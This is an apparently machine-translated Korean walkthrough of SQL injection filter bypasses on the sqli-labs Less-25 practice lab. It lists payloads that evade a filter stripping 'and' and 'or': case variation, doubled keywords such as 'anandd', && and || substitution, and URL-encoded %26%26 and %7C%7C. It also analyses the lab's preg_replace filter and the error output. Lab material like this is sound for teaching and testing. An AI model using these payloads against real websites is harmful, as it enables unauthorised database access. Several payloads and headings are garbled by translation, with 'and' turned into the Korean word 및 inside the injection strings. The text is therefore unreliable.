And 및 or의 역할
AND는 두 조건이 동시에 충족됨을 의미합니다. 예를 들어, 문자/숫자를 테스트하기 위해 and 1=1 및 and 1=2 문이 사용됩니다.
또는 조건을 충족하기에 충분합니다. 예를 들어 or 문은 오류를 보고하고 주입할 때 사용됩니다.
바이패스 방식
1. 사용 사례 우회
예: ?id=1' 및 D 1=1 --+
2. 덮어쓰기 우회
예: ?id=1' an 및 d 1=1 --+
3. and를 &&로 바꾸고 or를 ||로 바꿉니다.
예: ?id=1' && 1=1 --+
?id=1' || 1=1 --+
때때로 && 및 ||로 인식할 수 없으므로 url로 트랜스코딩해야 합니다.
예를 들어?id=1' && 1=1 --+ 트랜스코딩 후?id=1' %26%26 1=1 --+
?id=1' || 1=1 --+ 트랜스코딩 후?id =1' %7C%7C 1=1 --+
데모 사례
sqli-labs-master/Less-25
소스 코드 분석
1. preg_replace() 함수를 사용하여 $id 변수의 매개변수를 확인하고 이 매개변수에 '/or/' 문자가 나타나면 i를 사용하여 일치시키기 위해 소문자로 변환합니다. 입력은 or 또는 OR 이고 결국 or가 됩니다. 그런 다음 비어있는 것으로 교체하십시오.
2. preg_replace() 함수를 사용하여 $id 변수의 매개변수를 확인하고 이 매개변수에 '/AND/'라는 문자열이 나타나면 i를 사용하여 일치시키기 위해 소문자로 변환합니다. 당신이 입력한 것은 AND 또는 그리고 결국 and가 될 것입니다. 그런 다음 비어있는 것으로 교체하십시오.
매개변수를 입력하세요?id=1
일반 페이지
닫는 방법을 확인하려면 매개변수 뒤에 '작은따옴표를 던집니다.
페이지 에코
''1'' 제한 0,1'
'1 ' '제한 0,1
빨간색 부분은 우리의 입력이며 닫는 방법은 작은따옴표로 결정됩니다.
URL :?id=1' 및 1=1 --+
페이지에서 오류를 보고하고 1행에서 '1=1 -- 'LIMIT 0,1'을 에코합니다. and we enter가 비어 있음으로 대체된 것을 볼 수 있습니다.
복제를 사용하여 우회
url:?id=1' anandd 1=1 --+
일반 페이지
url:?id=1' anandd 1=2 --+
페이지에서 오류를 보고했습니다. 성공적으로 우회
우리가 입력한 명령문이 데이터베이스로 가져와 실행되었음을 설명
&&를 사용하여 우회
페이지에서 오류를 보고했고 입력한 &&를 인식하지 못했으며 URL 인코딩 변환을 수행했습니다.
url: ?id=1' %26%26 1=1 --+
일반 페이지
URL: ?id=1' %26%26 1=2 --+
페이지 오류가 성공적으로 우회되었습니다.